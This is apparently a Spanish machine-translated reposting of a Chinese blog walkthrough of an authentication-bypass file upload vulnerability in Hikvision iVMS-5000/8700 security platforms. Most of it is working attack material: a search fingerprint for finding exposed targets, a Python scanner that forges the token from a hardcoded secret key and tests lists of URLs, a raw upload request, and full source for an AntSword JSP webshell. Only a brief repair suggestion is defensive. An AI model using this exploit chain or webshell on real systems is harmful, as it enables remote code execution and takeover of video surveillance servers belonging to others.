Reaparece la vulnerabilidad de carga de archivos arbitrarios del sistema de seguridad integrado Hikvision iVMS

Declaración:
Este artículo es sólo para comunicación técnica. Por favor no lo utilice con fines ilegales.
Cualquier consecuencia y pérdida directa o indirecta causada por la difusión y el uso de la información proporcionada en este artículo es responsabilidad del propio usuario. El autor de El artículo no asume ninguna responsabilidad por esta responsabilidad.

I. Descripción general

Descripción del Producto

       La plataforma de gestión de aplicaciones de monitoreo centralizado Hikvision iVMS está orientada a aplicaciones comerciales de seguridad y basada en aplicaciones de imágenes de video. Integra múltiples sistemas de aplicaciones de seguridad, como videovigilancia, alarmas en red, análisis inteligente y gestión de operación y mantenimiento para construir una aplicación multinegocio integral. plataforma de gestión.

2. Descripción de la vulnerabilidad

       El sistema Hikvision iVMS tiene una vulnerabilidad de día 0. Un atacante puede obtener la clave para construir un token de forma arbitraria y solicitar la interfaz /resourceOperations/upload para cargar archivos de forma arbitraria, obteniendo así permisos de webshell del servidor y ejecutando código malicioso de forma remota .

3. Ámbito de influencia

Sistema de seguridad integrado Hikvision iVMS-5000

Sistema de seguridad integrado Hikvision iVMS-8700

Estampado de águila

web.body="/views/home/file/installPackage.rar"

4. Guión POC

POC escrito por el jefe, dirección de descarga (pero probé el POC muchas veces para detectar la vulnerabilidad, pero no pude reproducirlo manualmente)

PoC del script de detección: https://github.com/sccmdaveli/hikvision-poc

Si no tiene acceso a github, puede ser responsable del código fuente a continuación

import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()
 
 
head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
    "Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
}
def md5encode(url):
    if url.endswith("/"):
        path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"
    else:
        path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"
    encodetext = url + path
    input_name = hashlib.md5()
    input_name.update(encodetext.encode("utf-8"))
    return (input_name.hexdigest()).upper()
 
def poc(url):
    if url.endswith("/"):
        path = "eps/api/resourceOperations/upload?token="
    else:
        path = "/eps/api/resourceOperations/upload?token="
    pocurl = url + path + md5encode(url)
    data = {
        "service": urllib.parse.quote(url + "/home/index.action")
    }
    try:
        response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)
        if response.status_code==200:
            print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞!!!!")
        else:
            print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")
    except:
        pass
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',
                                     description='ivms漏洞检测poc',
                                     )
    p = parser.add_argument_group('ivms 的参数')
    p.add_argument("-u", "--url", type=str, help="测试单条url")
    p.add_argument("-f", "--file", type=str, help="测试多个url文件")
    args = parser.parse_args()
    if args.url:
        poc(args.url)
    if args.file:
        for i in open(args.file,"r").read().split("\n"):
            poc(i)

Cómo utilizar:

Detección de URL única: python3 ivms-poc.py -u url

Detección de múltiples URL: python3 ivms-poc.py -f file.txt

5. Recurrencia de vulnerabilidades

URL de vulnerabilidad:/eps/api/resourceOperations/upload

Tenga en cuenta que el método de transferencia de parámetros es POST

bp toma el paquete de la página de inicio e intenta acceder a la interfaz (se descubre que el token necesita ser autenticado), y el campo token ¡vacío! aparece en el paquete devuelto.

Construya un token para omitir la autenticación (mecanismo interno: si el valor del token es el mismo que el valor md5 de la URL de solicitud + clave secreta, se puede omitir la autenticación)

La clave secreta está codificada en el código (valor predeterminado: secretKeyIbuilding)

El valor del token debe estar cifrado MD5 (mayúsculas de 32 bits)

Combinación: token=MD5(url+"secretKeyIbuilding")

revalidar

 Carga útil de carga de archivos construida y omitida con éxito

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174
 
------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpeg
 
test
------WebKitFormBoundaryGEJwiloiPo

Muestra que la carga se realizó correctamente y se devuelve el valor de ResourceUuid.

Ruta de verificación: http://url/eps/upload/resourceUuid value.jsp

6. Explotación de vulnerabilidades

Cargue directamente el troyano Ant Sword jsp

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

Carga exitosa, intenta conectarte.

7. Sugerencias de reparación

      Desactive los permisos de acceso para la exposición a Internet y realice una autenticación de permisos sólida en el módulo de carga de archivos.

El enlace original del jefe: https://blog.csdn.net/qq_41904294/article/details/130807691

Supongo que te gusta

Origin blog.csdn.net/qq_56698744/article/details/132964883
Recomendado
Clasificación